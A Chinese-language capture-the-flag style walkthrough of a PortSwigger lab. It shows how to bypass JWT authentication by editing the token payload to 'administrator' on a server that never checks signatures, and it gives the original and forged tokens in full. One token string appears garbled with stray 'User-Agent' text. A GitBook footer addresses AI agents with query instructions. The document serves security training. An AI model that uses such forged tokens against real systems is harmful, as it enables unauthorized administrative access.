> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-unverified-signature.md).
# 通过未验证签名绕过 JWT 认证
### 通过未验证签名绕过 JWT 身份验证
**实验背景**
这个实验室使用 **JSON Web 令牌（JWT）** 来管理用户会话。/ 由于严重的实现失败， **服务器不会检查收到的 JWT 的签名**.
**目标：**
* 编辑会话令牌以访问 `/admin` 管理面板
* 删除用户 **carlos**
**提供的凭据：**
* `wiener : peter`
**步骤 1 – 认证与 JWT 的恢复**
在连接到 `wiener` 用户后，应用程序会生成一个 \*\*JWT\*\* 会话 cookie。
该令牌具有典型结构：
* **标头**
* **载荷**
* **签名**
{% code overflow="wrap" %}
```bash
eyJraWQiOiI0YTM5NDQ3My0yNmYxLTQxNzMtYjVlOC1hOGQ4NjQ5NmI5ZTEiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUyNzk1Mywic3ViIjoid2llbmVyIn0.T4j1dohfmxoKYLu3Lc9cF03f0jHi1Td_PuIdhpR6jluSxY6UarYiUt0cPDkz6Wt9m0L0f5376ZdnkZvc4afoKcEvU89_cwobse5yU_aEdk4SYVVbuSLEQ-sPlbnIVY5nf17LlU-xxPJZaoii2L-BlGlulIL60j7Mjb9cRs6User-Agentu36YddU2DQkF2Ww2UcTftI6n8S5htcnM5iftGWYLhDkfKsp5RhgV58GCj3kyn92Pxo82DeuUeY-h0YRvOIijlROdSPvufMQiqYbBuUN__6Jb7ckUs7iXOTB6CwBnE-vQcIqQs549YdTOkWypmIQdmGWyUser-AgentbJaPZHOPJU-XLzHwIcg
```
{% endcode %}
**步骤 2 – JWT 内容分析**
通过解码 JWT，我们看到如下有效载荷：
```json
{
"iss": "portswigger",
"exp": 1767531263,
"sub": "wiener"
}
```
该 `sub` 字段表示已认证用户的身份。
**步骤 3 – 修改有效载荷**
由于服务器 **不验证签名**，因此可以自由修改令牌的内容。
其值 `sub` 被替换：
```json
{
"iss": "portswigger",
"exp": 1767531263,
"sub": "administrator"
}
```
JWT 随后被 **重新构建** （无论签名如何，都不会被验证）。
{% code overflow="wrap" %}
```bash
eyJraWQiOiJjNDllNjY5Mi1iMDZjLTQ0YjEtYmIwOC0zMjM4NmYxNzA2OGMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMTI2Mywic3ViIjoiYWRtaW5pc3RyYXRvciJ9.ZpAuSIEN0Ptww1x0aCihPl520xrSpg8D5EWczPJ66pJZFUBq6X8TkSIYD-4-fY1Z9we38SmWLedBi-yF2w8b_XHeICnYPgTM3xrSrallVNukPQfVW-NaCNu_lozTEgBovijP6lMSyJWFXVwddlVh3ixT5_CZW7hK2jnpqcMdBv6RtXW-9nqlkoS_MF7XruVpKFJS8OB71B1juuh3M2c7YpEjCdMRHTW4FOsx8QOxV11udAyU03-JrIxug-SfwmLHLbMPNyUw6midaP_1AFT6s1vLu066AliuMz-HW1ADnWQea3JInM1EFMaY_9oKCZdJ_EyF5oxmdo5ZBl9xPq2Tcw
```
{% endcode %}
**步骤 4 – 使用伪造的 JWT**
新的令牌被注入到浏览器会话 cookie 中。
结果：
* 应用程序将该用户视为 **administrator**
* 对……的访问 `/admin` 已被允许
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-via-unverified-signature.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.